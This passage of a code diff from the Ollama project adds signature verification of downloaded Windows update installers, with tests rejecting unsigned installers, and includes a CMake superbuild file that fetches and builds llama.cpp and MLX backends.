if getCount.Load() != 1 {
t.Fatalf("GET count = %d, want 1", getCount.Load())
}
if verifyCount.Load() != 1 {
t.Fatalf("verification count = %d, want 1", verifyCount.Load())
}
if !UpdateDownloaded {
t.Fatal("UpdateDownloaded should stay true for already staged update")
}
}
func TestBackgoundChecker(t *testing.T) {
UpdateStageDir = t.TempDir()
haveUpdate := false
+175
View File
@@ -1,6 +1,7 @@
package updater
import (
"crypto/x509"
"errors"
"fmt"
"log/slog"
@@ -18,6 +19,30 @@ import (
var runningInstaller string
var (
crypt32 = windows.NewLazySystemDLL("crypt32.dll")
procCryptMsgGetParam = crypt32.NewProc("CryptMsgGetParam")
procCryptMsgClose = crypt32.NewProc("CryptMsgClose")
)
const cmsgSignerInfoParam = 6
type cmsgSignerInfo struct {
Version uint32
Issuer windows.CertNameBlob
SerialNumber windows.CryptIntegerBlob
HashAlgorithm windows.CryptAlgorithmIdentifier
HashEncryptionAlgorithm windows.CryptAlgorithmIdentifier
EncryptedHash windows.CryptDataBlob
AuthAttrs cryptAttributes
UnauthAttrs cryptAttributes
}
type cryptAttributes struct {
Count uint32
Attributes unsafe.Pointer
}
type OSVERSIONINFOEXW struct {
dwOSVersionInfoSize uint32
dwMajorVersion uint32
@@ -99,6 +124,12 @@ func DoUpgrade(interactive bool) error {
return fmt.Errorf("failed to lookup downloads")
}
if err := VerifyDownload(); err != nil {
_ = os.Remove(bundle)
slog.Warn("verification failure", "bundle", bundle, "error", err)
return fmt.Errorf("staged update verification failed: %w", err)
}
// We move the installer to ensure we don't race with multiple apps starting in quick succession
if err := os.Rename(bundle, runningInstaller); err != nil {
return fmt.Errorf("unable to rename %s -> %s : %w", bundle, runningInstaller, err)
@@ -184,6 +215,150 @@ func DoPostUpgradeCleanup() error {
}
func verifyDownload() error {
bundle := getStagedUpdate()
if bundle == "" {
return fmt.Errorf("failed to lookup downloads")
}
slog.Debug("verifying update", "bundle", bundle)
if err := verifyWindowsInstallerSignature(bundle); err != nil {
return fmt.Errorf("signature verification failed: %w", err)
}
return nil
}
func verifyWindowsInstallerSignature(filename string) error {
filename16, err := windows.UTF16PtrFromString(filename)
if err != nil {
return err
}
data := &windows.WinTrustData{
Size: uint32(unsafe.Sizeof(windows.WinTrustData{})),
UIChoice: windows.WTD_UI_NONE,
RevocationChecks: windows.WTD_REVOKE_WHOLECHAIN,
UnionChoice: windows.WTD_CHOICE_FILE,
StateAction: windows.WTD_STATEACTION_VERIFY,
UIContext: windows.WTD_UICONTEXT_INSTALL,
FileOrCatalogOrBlobOrSgnrOrCert: unsafe.Pointer(&windows.WinTrustFileInfo{
Size: uint32(unsafe.Sizeof(windows.WinTrustFileInfo{})),
FilePath: filename16,
}),
}
verifyErr := windows.WinVerifyTrustEx(windows.InvalidHWND, &windows.WINTRUST_ACTION_GENERIC_VERIFY_V2, data)
data.StateAction = windows.WTD_STATEACTION_CLOSE
closeErr := windows.WinVerifyTrustEx(windows.InvalidHWND, &windows.WINTRUST_ACTION_GENERIC_VERIFY_V2, data)
if verifyErr != nil {
return verifyErr
}
if closeErr != nil {
return fmt.Errorf("close WinVerifyTrust state: %w", closeErr)
}
subject, err := windowsInstallerSignerSubject(filename)
if err != nil {
return err
}
slog.Debug("verified update signature", "subject", subject)
return nil
}
func windowsInstallerSignerSubject(filename string) (string, error) {
filename16, err := windows.UTF16PtrFromString(filename)
if err != nil {
return "", err
}
var certStore windows.Handle
var msg windows.Handle
if err := windows.CryptQueryObject(
windows.CERT_QUERY_OBJECT_FILE,
unsafe.Pointer(filename16),
windows.CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_EMBED,
windows.CERT_QUERY_FORMAT_FLAG_BINARY,
0,
nil,
nil,
nil,
&certStore,
&msg,
nil,
); err != nil {
return "", err
}
defer windows.CertCloseStore(certStore, 0) //nolint:errcheck
defer cryptMsgClose(msg) //nolint:errcheck
var signerInfoSize uint32
if err := cryptMsgGetParam(msg, cmsgSignerInfoParam, 0, nil, &signerInfoSize); err != nil {
return "", err
}
if signerInfoSize == 0 {
return "", fmt.Errorf("missing signer info")
}
signerInfoBuf := make([]byte, signerInfoSize)
if err := cryptMsgGetParam(msg, cmsgSignerInfoParam, 0, unsafe.Pointer(&signerInfoBuf[0]), &signerInfoSize); err != nil {
return "", err
}
signerInfo := (*cmsgSignerInfo)(unsafe.Pointer(&signerInfoBuf[0]))
certInfo := windows.CertInfo{
Issuer: signerInfo.Issuer,
SerialNumber: signerInfo.SerialNumber,
}
cert, err := windows.CertFindCertificateInStore(
certStore,
windows.X509_ASN_ENCODING|windows.PKCS_7_ASN_ENCODING,
0,
windows.CERT_FIND_SUBJECT_CERT,
unsafe.Pointer(&certInfo),
nil,
)
if err != nil {
return "", err
}
defer windows.CertFreeCertificateContext(cert) //nolint:errcheck
parsed, err := x509.ParseCertificate(unsafe.Slice(cert.EncodedCert, cert.Length))
if err != nil {
return "", err
}
for _, org := range parsed.Subject.Organization {
if org == "Ollama Inc." {
return parsed.Subject.String(), nil
}
}
return "", fmt.Errorf("unexpected signer: %s", parsed.Subject.String())
}
func cryptMsgGetParam(msg windows.Handle, paramType, index uint32, data unsafe.Pointer, size *uint32) error {
r1, _, e1 := procCryptMsgGetParam.Call(
uintptr(msg),
uintptr(paramType),
uintptr(index),
uintptr(data),
uintptr(unsafe.Pointer(size)),
)
if r1 == 0 {
if e1 != syscall.Errno(0) {
return e1
}
return syscall.EINVAL
}
return nil
}
func cryptMsgClose(msg windows.Handle) error {
r1, _, e1 := procCryptMsgClose.Call(uintptr(msg))
if r1 == 0 {
if e1 != syscall.Errno(0) {
return e1
}
return syscall.EINVAL
}
return nil
}
+73 -1
View File
@@ -1,13 +1,85 @@
//go:build windows || darwin
//go:build windows
package updater
import (
"log/slog"
"os"
"path/filepath"
"strings"
"testing"
)
func TestVerifyDownloadRejectsUnsignedWindowsInstaller(t *testing.T) {
oldUpdateStageDir := UpdateStageDir
defer func() {
UpdateStageDir = oldUpdateStageDir
}()
t.Setenv("LOCALAPPDATA", t.TempDir())
UpdateStageDir = t.TempDir()
bundle := filepath.Join(UpdateStageDir, "etag", "OllamaSetup.exe")
if err := os.MkdirAll(filepath.Dir(bundle), 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(bundle, []byte("not a signed installer"), 0o755); err != nil {
t.Fatal(err)
}
err := verifyDownload()
if err == nil || !strings.Contains(err.Error(), "signature verification failed") {
t.Fatalf("expected signature verification failure, got %v", err)
}
}
func TestDoUpgradeAtStartupRejectsUnsignedWindowsInstaller(t *testing.T) {
oldUpdateStageDir := UpdateStageDir
oldRunningInstaller := runningInstaller
oldUpgradeLogFile := UpgradeLogFile
oldUpgradeMarkerFile := UpgradeMarkerFile
oldVerifyDownload := VerifyDownload
defer func() {
UpdateStageDir = oldUpdateStageDir
runningInstaller = oldRunningInstaller
UpgradeLogFile = oldUpgradeLogFile
UpgradeMarkerFile = oldUpgradeMarkerFile
VerifyDownload = oldVerifyDownload
}()
t.Setenv("LOCALAPPDATA", t.TempDir())
UpdateStageDir = t.TempDir()
runDir := t.TempDir()
runningInstaller = filepath.Join(runDir, "OllamaSetup.exe")
UpgradeLogFile = filepath.Join(runDir, "upgrade.log")
UpgradeMarkerFile = filepath.Join(runDir, "upgraded")
VerifyDownload = verifyDownload
bundle := filepath.Join(UpdateStageDir, "etag", "OllamaSetup.exe")
if err := os.MkdirAll(filepath.Dir(bundle), 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(bundle, []byte("not a signed installer"), 0o755); err != nil {
t.Fatal(err)
}
err := DoUpgradeAtStartup()
if err == nil || !strings.Contains(err.Error(), "signature verification failed") {
t.Fatalf("expected signature verification failure, got %v", err)
}
if _, err := os.Stat(runningInstaller); !os.IsNotExist(err) {
t.Fatalf("unsigned installer was moved before verification failed: %v", err)
}
if _, err := os.Stat(bundle); !os.IsNotExist(err) {
t.Fatalf("unsigned staged installer was not removed after verification failure: %v", err)
}
}
func TestIsInstallerRunning(t *testing.T) {
oldInstaller := Installer
defer func() {
Installer = oldInstaller
}()
slog.SetLogLoggerLevel(slog.LevelDebug)
Installer = "go.exe"
if !isInstallerRunning() {
+692
View File
@@ -0,0 +1,692 @@
# Local Ollama superbuild targets.
#
# This file keeps the repository-root CMake project focused on orchestration:
# it builds a runnable local Ollama payload by delegating llama.cpp work to the
# llama/server CMake project and building the Go binary into a matching layout.
include(ExternalProject)
set(OLLAMA_LLAMA_BACKENDS "" CACHE STRING
"Semicolon-separated llama-server GPU backends to build: cuda_v12;cuda_v13;rocm_v7_1;rocm_v7_2;vulkan;cuda_jetpack5;cuda_jetpack6")
set(_ollama_mlx_backends_doc "Semicolon-separated MLX backends to build: cuda_v13;metal_v3;metal_v4")
set(OLLAMA_VERSION "0.0.0" CACHE STRING "Ollama version embedded in the local Go binary")
set(OLLAMA_PAYLOAD_INSTALL_PREFIX "${CMAKE_BINARY_DIR}" CACHE PATH
"Build-time staging prefix for nested Ollama native payloads")
string(REGEX REPLACE "^v" "" OLLAMA_VERSION "${OLLAMA_VERSION}")
set(OLLAMA_NATIVE_CONFIG_ARG)
if(CMAKE_CONFIGURATION_TYPES)
set(OLLAMA_NATIVE_CONFIG_ARG --config Release)
endif()
set(OLLAMA_NATIVE_EXTERNAL_OPTIONS)
if(CMAKE_VERSION VERSION_GREATER_EQUAL 3.28)
list(APPEND OLLAMA_NATIVE_EXTERNAL_OPTIONS BUILD_JOB_SERVER_AWARE TRUE)
endif()
function(ollama_check_metal_toolchain output_version)
find_program(_ollama_xcrun xcrun)
if(NOT _ollama_xcrun)
message(FATAL_ERROR
"MLX Metal requires Xcode command line tools. Install Xcode, run "
"`sudo xcode-select -s /Applications/Xcode.app/Contents/Developer`, "
"then install the Metal toolchain with "
"`xcodebuild -downloadComponent MetalToolchain`.")
endif()
execute_process(
COMMAND zsh "-c"
"echo \"__METAL_VERSION__\" | \"${_ollama_xcrun}\" -sdk macosx metal -E -x metal -P - 2>/dev/null | tail -1 | tr -d '\n'"
OUTPUT_VARIABLE _metal_version
RESULT_VARIABLE _metal_result)
if(NOT _metal_result EQUAL 0 OR NOT _metal_version MATCHES "^[0-9]+$")
message(FATAL_ERROR
"MLX Metal requires Xcode's Metal toolchain. Install Xcode, run "
"`sudo xcode-select -s /Applications/Xcode.app/Contents/Developer`, "
"then install the Metal toolchain with "
"`xcodebuild -downloadComponent MetalToolchain`.")
endif()
set(${output_version} "${_metal_version}" PARENT_SCOPE)
endfunction()
function(ollama_macos_major_version output)
execute_process(
COMMAND sw_vers -productVersion
OUTPUT_VARIABLE _macos_version
OUTPUT_STRIP_TRAILING_WHITESPACE
RESULT_VARIABLE _macos_result
ERROR_QUIET)
if(_macos_result EQUAL 0)
string(REGEX MATCH "^[0-9]+" _macos_major "${_macos_version}")
endif()
set(${output} "${_macos_major}" PARENT_SCOPE)
endfunction()
function(ollama_macos_sdk_major_version output)
execute_process(
COMMAND xcrun --sdk macosx --show-sdk-version
OUTPUT_VARIABLE _sdk_version
OUTPUT_STRIP_TRAILING_WHITESPACE
RESULT_VARIABLE _sdk_result
ERROR_QUIET)
if(_sdk_result EQUAL 0)
string(REGEX MATCH "^[0-9]+" _sdk_major "${_sdk_version}")
endif()
set(${output} "${_sdk_major}" PARENT_SCOPE)
endfunction()
function(ollama_default_mlx_backends output)
set(_backends "")
if(APPLE AND CMAKE_SYSTEM_PROCESSOR STREQUAL "arm64")
ollama_check_metal_toolchain(_metal_version)
ollama_macos_major_version(_macos_major)
ollama_macos_sdk_major_version(_sdk_major)
if(_macos_major AND _sdk_major AND _macos_major GREATER_EQUAL 26 AND _sdk_major GREATER_EQUAL 26)
set(_backends "metal_v4")
else()
set(_backends "metal_v3")
endif()
message(STATUS "Defaulting OLLAMA_MLX_BACKENDS=${_backends} for macOS arm64")
endif()
set(${output} "${_backends}" PARENT_SCOPE)
endfunction()
if(NOT DEFINED OLLAMA_MLX_BACKENDS)
ollama_default_mlx_backends(_ollama_default_mlx_backends)
set(OLLAMA_MLX_BACKENDS "${_ollama_default_mlx_backends}" CACHE STRING "${_ollama_mlx_backends_doc}")
else()
set(OLLAMA_MLX_BACKENDS "${OLLAMA_MLX_BACKENDS}" CACHE STRING "${_ollama_mlx_backends_doc}")
endif()
if(NOT OLLAMA_HAVE_LLAMA_SERVER)
if(OLLAMA_LLAMA_BACKENDS)
message(FATAL_ERROR "llama/server is required when OLLAMA_LLAMA_BACKENDS is set")
endif()
if(NOT OLLAMA_MLX_BACKENDS)
message(FATAL_ERROR "llama/server is required for local Ollama builds")
endif()
else()
file(READ "${CMAKE_SOURCE_DIR}/LLAMA_CPP_VERSION" OLLAMA_LLAMA_CPP_GIT_TAG)
string(STRIP "${OLLAMA_LLAMA_CPP_GIT_TAG}" OLLAMA_LLAMA_CPP_GIT_TAG)
include(${CMAKE_SOURCE_DIR}/llama/compat/compat.cmake)
if(DEFINED FETCHCONTENT_SOURCE_DIR_LLAMA_CPP AND NOT "${FETCHCONTENT_SOURCE_DIR_LLAMA_CPP}" STREQUAL "")
get_filename_component(OLLAMA_LLAMA_CPP_SOURCE_DIR
"${FETCHCONTENT_SOURCE_DIR_LLAMA_CPP}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
message(STATUS "Using llama.cpp source override: ${OLLAMA_LLAMA_CPP_SOURCE_DIR}")
add_custom_target(ollama-llama-cpp-source)
elseif(DEFINED ENV{OLLAMA_LLAMA_CPP_SOURCE})
get_filename_component(OLLAMA_LLAMA_CPP_SOURCE_DIR
"$ENV{OLLAMA_LLAMA_CPP_SOURCE}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
message(STATUS "Using local llama.cpp source: ${OLLAMA_LLAMA_CPP_SOURCE_DIR}")
add_custom_target(ollama-llama-cpp-source)
else()
set(OLLAMA_LLAMA_CPP_SOURCE_DIR "${CMAKE_BINARY_DIR}/_deps/llama_cpp-src")
ExternalProject_Add(ollama-llama-cpp-source
GIT_REPOSITORY "https://github.com/ggml-org/llama.cpp.git"
GIT_TAG ${OLLAMA_LLAMA_CPP_GIT_TAG}
GIT_SHALLOW TRUE
SOURCE_DIR ${OLLAMA_LLAMA_CPP_SOURCE_DIR}
CONFIGURE_COMMAND ""
BUILD_COMMAND ""
INSTALL_COMMAND ""
PATCH_COMMAND ${OLLAMA_LLAMA_CPP_COMPAT_PATCH_COMMAND}
USES_TERMINAL_DOWNLOAD TRUE
USES_TERMINAL_PATCH TRUE)
endif()
endif()
set(_mlx_source_targets)
if(OLLAMA_MLX_BACKENDS)
file(READ "${CMAKE_SOURCE_DIR}/MLX_VERSION" OLLAMA_MLX_GIT_TAG)
string(STRIP "${OLLAMA_MLX_GIT_TAG}" OLLAMA_MLX_GIT_TAG)
file(READ "${CMAKE_SOURCE_DIR}/MLX_C_VERSION" OLLAMA_MLX_C_GIT_TAG)
string(STRIP "${OLLAMA_MLX_C_GIT_TAG}" OLLAMA_MLX_C_GIT_TAG)
if(DEFINED FETCHCONTENT_SOURCE_DIR_MLX AND NOT "${FETCHCONTENT_SOURCE_DIR_MLX}" STREQUAL "")
get_filename_component(OLLAMA_MLX_SOURCE_DIR
"${FETCHCONTENT_SOURCE_DIR_MLX}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
message(STATUS "Using MLX source override: ${OLLAMA_MLX_SOURCE_DIR}")
elseif(DEFINED ENV{OLLAMA_MLX_SOURCE})
get_filename_component(OLLAMA_MLX_SOURCE_DIR
"$ENV{OLLAMA_MLX_SOURCE}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
message(STATUS "Using local MLX source: ${OLLAMA_MLX_SOURCE_DIR}")
else()
set(OLLAMA_MLX_SOURCE_DIR "${CMAKE_BINARY_DIR}/_deps/mlx-src")
ExternalProject_Add(ollama-mlx-source
GIT_REPOSITORY "https://github.com/ml-explore/mlx.git"
GIT_TAG ${OLLAMA_MLX_GIT_TAG}
# MLX uses commit hashes while we track closely; switch to shallow when MLX pins move to tags.
GIT_SHALLOW FALSE
SOURCE_DIR ${OLLAMA_MLX_SOURCE_DIR}
CONFIGURE_COMMAND ""
BUILD_COMMAND ""
INSTALL_COMMAND ""
USES_TERMINAL_DOWNLOAD TRUE)
list(APPEND _mlx_source_targets ollama-mlx-source)
endif()
if(DEFINED "FETCHCONTENT_SOURCE_DIR_MLX-C" AND NOT "${FETCHCONTENT_SOURCE_DIR_MLX-C}" STREQUAL "")
get_filename_component(OLLAMA_MLX_C_SOURCE_DIR
"${FETCHCONTENT_SOURCE_DIR_MLX-C}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
message(STATUS "Using MLX-C source override: ${OLLAMA_MLX_C_SOURCE_DIR}")
elseif(DEFINED ENV{OLLAMA_MLX_C_SOURCE})
get_filename_component(OLLAMA_MLX_C_SOURCE_DIR
"$ENV{OLLAMA_MLX_C_SOURCE}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
message(STATUS "Using local MLX-C source: ${OLLAMA_MLX_C_SOURCE_DIR}")
else()
set(OLLAMA_MLX_C_SOURCE_DIR "${CMAKE_BINARY_DIR}/_deps/mlx-c-src")
ExternalProject_Add(ollama-mlx-c-source
GIT_REPOSITORY "https://github.com/ml-explore/mlx-c.git"
GIT_TAG ${OLLAMA_MLX_C_GIT_TAG}
# MLX-C uses commit hashes while we track closely; switch to shallow when MLX-C pins move to tags.
GIT_SHALLOW FALSE
SOURCE_DIR ${OLLAMA_MLX_C_SOURCE_DIR}
CONFIGURE_COMMAND ""
BUILD_COMMAND ""
INSTALL_COMMAND ""
USES_TERMINAL_DOWNLOAD TRUE)
list(APPEND _mlx_source_targets ollama-mlx-c-source)
endif()
add_custom_target(ollama-mlx-sources DEPENDS ${_mlx_source_targets})
endif()
set(OLLAMA_NATIVE_BUILD_TOOL_COMMAND
${CMAKE_COMMAND} --build <BINARY_DIR>)
set(OLLAMA_NATIVE_BUILD_TARGET_ARG --target)
if(CMAKE_GENERATOR MATCHES "Makefiles")
set(OLLAMA_NATIVE_BUILD_TOOL_COMMAND
"$(MAKE)" -C <BINARY_DIR>)
set(OLLAMA_NATIVE_BUILD_TARGET_ARG)
endif()
function(ollama_escape_cmake_list input output)
string(REPLACE ";" "|" _escaped "${input}")
set(${output} "${_escaped}" PARENT_SCOPE)
endfunction()
function(ollama_collect_cache_args_with_prefix prefix output)
get_cmake_property(_cache_variables CACHE_VARIABLES)
list(SORT _cache_variables)
set(_args)
foreach(_var IN LISTS _cache_variables)
if(_var MATCHES "^${prefix}")
ollama_escape_cmake_list("${${_var}}" _value)
list(APPEND _args "-D${_var}=${_value}")
endif()
endforeach()
set(${output} "${_args}" PARENT_SCOPE)
endfunction()
function(ollama_append_cache_arg_if_set output name)
if(DEFINED ${name} AND NOT "${${name}}" STREQUAL "")
ollama_escape_cmake_list("${${name}}" _value)
set(${output} ${${output}} "-D${name}=${_value}" PARENT_SCOPE)
endif()
endfunction()
function(ollama_cache_arg_is_set name output)
if(DEFINED ${name} AND NOT "${${name}}" STREQUAL "")
set(${output} TRUE PARENT_SCOPE)
else()
set(${output} FALSE PARENT_SCOPE)
endif()
endfunction()
function(ollama_llama_cuda_preset backend output)
ollama_cache_arg_is_set(CMAKE_CUDA_ARCHITECTURES _has_cuda_arch)
if(_has_cuda_arch)
set(_preset "llama_${backend}_user_arch")
elseif(WIN32)
set(_preset "llama_${backend}_windows")
else()
set(_preset "llama_${backend}_linux")
endif()
set(${output} "${_preset}" PARENT_SCOPE)
endfunction()
function(ollama_mlx_cuda_preset output)
ollama_cache_arg_is_set(MLX_CUDA_ARCHITECTURES _has_mlx_arch)
ollama_cache_arg_is_set(CMAKE_CUDA_ARCHITECTURES _has_cuda_arch)
if(_has_mlx_arch OR _has_cuda_arch)
set(_preset "mlx_cuda_v13_user_arch")
elseif(WIN32)
set(_preset "mlx_cuda_v13_windows")
else()
set(_preset "mlx_cuda_v13_linux")
endif()
set(${output} "${_preset}" PARENT_SCOPE)
endfunction()
function(ollama_rocm_preset backend output)
ollama_cache_arg_is_set(AMDGPU_TARGETS _has_amdgpu_targets)
ollama_cache_arg_is_set(CMAKE_HIP_ARCHITECTURES _has_hip_arch)
if(_has_amdgpu_targets OR _has_hip_arch)
if(backend STREQUAL "rocm_v7_1" AND NOT WIN32)
message(FATAL_ERROR "OLLAMA_LLAMA_BACKENDS=rocm_v7_1 is only supported for Windows ROCm builds")
elseif(backend STREQUAL "rocm_v7_2" AND WIN32)
message(FATAL_ERROR "OLLAMA_LLAMA_BACKENDS=rocm_v7_2 is only supported for Linux ROCm builds")
endif()
elseif(backend STREQUAL "rocm_v7_1")
if(NOT WIN32)
message(FATAL_ERROR "OLLAMA_LLAMA_BACKENDS=rocm_v7_1 is only supported for Windows ROCm builds")
endif()
set(_preset "${backend}_windows")
elseif(backend STREQUAL "rocm_v7_2")
if(WIN32)
message(FATAL_ERROR "OLLAMA_LLAMA_BACKENDS=rocm_v7_2 is only supported for Linux ROCm builds")
endif()
set(_preset "${backend}_linux")
else()
message(FATAL_ERROR "Unknown ROCm backend '${backend}'")
endif()
if(_has_amdgpu_targets OR _has_hip_arch)
set(_preset "${backend}_user_arch")
endif()
set(${output} "${_preset}" PARENT_SCOPE)
endfunction()
function(ollama_add_llama_server_build name)
cmake_parse_arguments(ARG "" "PRESET;RUNNER_DIR" "TARGETS;CMAKE_ARGS" ${ARGN})
if(NOT ARG_TARGETS)
message(FATAL_ERROR "ollama_add_llama_server_build(${name}) requires TARGETS")
endif()
if(WIN32 AND name STREQUAL "vulkan")
# The Vulkan shader generator nests deeply enough to hit Windows MAX_PATH.
set(_build_dir ${CMAKE_BINARY_DIR}/ls-vk)
else()
set(_build_dir ${CMAKE_BINARY_DIR}/llama-server-${name})
endif()
ollama_collect_cache_args_with_prefix("GGML_" _ggml_cache_args)
ollama_collect_cache_args_with_prefix("LLAMA_" _llama_cache_args)
set(_cmake_args
-DCMAKE_BUILD_TYPE=${CMAKE_BUILD_TYPE}
-DCMAKE_INSTALL_PREFIX=${OLLAMA_PAYLOAD_INSTALL_PREFIX}
-DOLLAMA_LIB_DIR:STRING=${OLLAMA_LIB_DIR}
-DOLLAMA_RUNNER_DIR=${ARG_RUNNER_DIR}
-DFETCHCONTENT_SOURCE_DIR_LLAMA_CPP=${OLLAMA_LLAMA_CPP_SOURCE_DIR}
-DOLLAMA_LLAMA_CPP_SKIP_COMPAT_PATCH=ON
-DGGML_NATIVE=OFF
-DGGML_OPENMP=OFF
${ARG_CMAKE_ARGS}
${_ggml_cache_args}
${_llama_cache_args}
)
if(APPLE)
if(CMAKE_OSX_ARCHITECTURES)
list(APPEND _cmake_args
-DCMAKE_OSX_ARCHITECTURES=${CMAKE_OSX_ARCHITECTURES})
endif()
if(CMAKE_OSX_DEPLOYMENT_TARGET)
list(APPEND _cmake_args
-DCMAKE_OSX_DEPLOYMENT_TARGET=${CMAKE_OSX_DEPLOYMENT_TARGET})
endif()
endif()
set(_configure_command ${CMAKE_COMMAND}
-S ${CMAKE_SOURCE_DIR}/llama/server
-B <BINARY_DIR>
${_cmake_args})
if(ARG_PRESET)
set(_configure_command ${CMAKE_COMMAND}
-S ${CMAKE_SOURCE_DIR}/llama/server
--preset ${ARG_PRESET}
-B <BINARY_DIR>
${_cmake_args})
endif()
ExternalProject_Add(ollama-llama-server-${name}
SOURCE_DIR ${CMAKE_SOURCE_DIR}/llama/server
BINARY_DIR ${_build_dir}
CONFIGURE_COMMAND ${_configure_command}
BUILD_COMMAND ${OLLAMA_NATIVE_BUILD_TOOL_COMMAND}
${OLLAMA_NATIVE_CONFIG_ARG}
${OLLAMA_NATIVE_BUILD_TARGET_ARG} ${ARG_TARGETS}
INSTALL_COMMAND ${CMAKE_COMMAND} --install <BINARY_DIR>
${OLLAMA_NATIVE_CONFIG_ARG}
--component llama-server
DEPENDS ollama-llama-cpp-source
LIST_SEPARATOR |
# ExternalProject cannot reliably infer when nested FetchContent
# sources, compat patches, or forwarded GGML/LLAMA cache settings need
# a rebuild. Always entering the sub-build keeps direct `cmake --build`
# iteration correct; the nested generator still performs incremental
# compilation.
BUILD_ALWAYS TRUE
${OLLAMA_NATIVE_EXTERNAL_OPTIONS}
USES_TERMINAL_CONFIGURE TRUE
USES_TERMINAL_BUILD TRUE
USES_TERMINAL_INSTALL TRUE)
endfunction()
function(ollama_add_mlx_build name)
cmake_parse_arguments(ARG "" "PRESET;RUNNER_DIR" "CMAKE_ARGS" ${ARGN})
if(NOT ARG_RUNNER_DIR)
message(FATAL_ERROR "ollama_add_mlx_build(${name}) requires RUNNER_DIR")
endif()
set(_build_dir ${CMAKE_BINARY_DIR}/${ARG_RUNNER_DIR})
ollama_collect_cache_args_with_prefix("MLX_" _mlx_cache_args)
set(_cmake_args
-DCMAKE_BUILD_TYPE=${CMAKE_BUILD_TYPE}
-DCMAKE_INSTALL_PREFIX=${OLLAMA_PAYLOAD_INSTALL_PREFIX}
-DOLLAMA_LIB_DIR:STRING=${OLLAMA_LIB_DIR}
-DOLLAMA_RUNNER_DIR=${ARG_RUNNER_DIR}
-DOLLAMA_SOURCE_DIR=${CMAKE_SOURCE_DIR}
-DFETCHCONTENT_SOURCE_DIR_MLX=${OLLAMA_MLX_SOURCE_DIR}
-DFETCHCONTENT_SOURCE_DIR_MLX-C=${OLLAMA_MLX_C_SOURCE_DIR}
-DOLLAMA_MLX_GENERATE_WRAPPERS=OFF
${ARG_CMAKE_ARGS}
${_mlx_cache_args}
)
foreach(_arg IN ITEMS
BLAS_INCLUDE_DIRS
LAPACK_INCLUDE_DIRS
CUDAToolkit_ROOT
CUDNN_ROOT_DIR
CUDNN_INCLUDE_PATH
CUDNN_LIBRARY_PATH
CMAKE_CUDA_COMPILER
CMAKE_CUDA_HOST_COMPILER
CMAKE_INCLUDE_PATH
CMAKE_LIBRARY_PATH
CMAKE_PREFIX_PATH)
ollama_append_cache_arg_if_set(_cmake_args ${_arg})
endforeach()
if(APPLE)
if(CMAKE_OSX_ARCHITECTURES)
list(APPEND _cmake_args
-DCMAKE_OSX_ARCHITECTURES=${CMAKE_OSX_ARCHITECTURES})
endif()
endif()
set(_configure_command ${CMAKE_COMMAND}
-S ${CMAKE_SOURCE_DIR}/cmake/mlx
-B <BINARY_DIR>
${_cmake_args})
if(ARG_PRESET)
set(_configure_command ${CMAKE_COMMAND}
-S ${CMAKE_SOURCE_DIR}/cmake/mlx
--preset ${ARG_PRESET}
-B <BINARY_DIR>
${_cmake_args})
endif()
ExternalProject_Add(ollama-mlx-${name}
SOURCE_DIR ${CMAKE_SOURCE_DIR}/cmake/mlx
BINARY_DIR ${_build_dir}
CONFIGURE_COMMAND ${_configure_command}
BUILD_COMMAND ${OLLAMA_NATIVE_BUILD_TOOL_COMMAND}
${OLLAMA_NATIVE_CONFIG_ARG}
${OLLAMA_NATIVE_BUILD_TARGET_ARG} mlx
${OLLAMA_NATIVE_BUILD_TARGET_ARG} mlxc
INSTALL_COMMAND ${CMAKE_COMMAND} --install <BINARY_DIR>
${OLLAMA_NATIVE_CONFIG_ARG}
--component MLX
COMMAND ${CMAKE_COMMAND} --install <BINARY_DIR>
${OLLAMA_NATIVE_CONFIG_ARG}
--component MLX_VENDOR
DEPENDS ollama-mlx-sources
LIST_SEPARATOR |
BUILD_ALWAYS TRUE
${OLLAMA_NATIVE_EXTERNAL_OPTIONS}
USES_TERMINAL_CONFIGURE TRUE
USES_TERMINAL_BUILD TRUE
USES_TERMINAL_INSTALL TRUE)
endfunction()
find_program(GO_EXECUTABLE go)
if(OLLAMA_MLX_BACKENDS)
set(_mlx_c_headers_dir "${OLLAMA_MLX_C_SOURCE_DIR}/mlx/c")
set(_mlx_c_headers_dest "${CMAKE_SOURCE_DIR}/x/mlxrunner/mlx/include/mlx/c")
if(GO_EXECUTABLE AND (NOT APPLE OR CMAKE_SYSTEM_PROCESSOR STREQUAL CMAKE_HOST_SYSTEM_PROCESSOR))
add_custom_target(ollama-mlx-generate-wrappers
COMMAND ${CMAKE_COMMAND}
-DMLX_C_HEADERS_DIR=${_mlx_c_headers_dir}
-DMLX_C_HEADERS_DEST=${_mlx_c_headers_dest}
-P "${CMAKE_SOURCE_DIR}/cmake/vendor-mlx-c-headers.cmake"
COMMAND ${CMAKE_COMMAND} -E env
CC= CGO_CFLAGS= CGO_CXXFLAGS=
${GO_EXECUTABLE} generate ./x/...
WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}
DEPENDS ollama-mlx-sources
COMMENT "Regenerating MLX Go wrappers"
VERBATIM)
else()
add_custom_target(ollama-mlx-generate-wrappers
COMMAND ${CMAKE_COMMAND} -E echo
"Cannot regenerate MLX wrappers while Go is unavailable or while cross-compiling"
COMMAND ${CMAKE_COMMAND} -E false
DEPENDS ollama-mlx-sources
VERBATIM)
endif()
endif()
if(OLLAMA_HAVE_LLAMA_SERVER)
if(NOT OLLAMA_GO_OUTPUT)
if(WIN32)
set(OLLAMA_GO_OUTPUT ${CMAKE_SOURCE_DIR}/ollama.exe)
else()
set(OLLAMA_GO_OUTPUT ${CMAKE_SOURCE_DIR}/ollama)
endif()
endif()
if(NOT IS_ABSOLUTE "${OLLAMA_GO_OUTPUT}")
set(OLLAMA_GO_OUTPUT "${CMAKE_SOURCE_DIR}/${OLLAMA_GO_OUTPUT}")
endif()
get_filename_component(OLLAMA_GO_OUTPUT "${OLLAMA_GO_OUTPUT}" ABSOLUTE)
set(OLLAMA_GO_OUTPUT "${OLLAMA_GO_OUTPUT}" CACHE FILEPATH "Output path for the local Ollama Go binary")
get_filename_component(OLLAMA_GO_OUTPUT_DIR "${OLLAMA_GO_OUTPUT}" DIRECTORY)
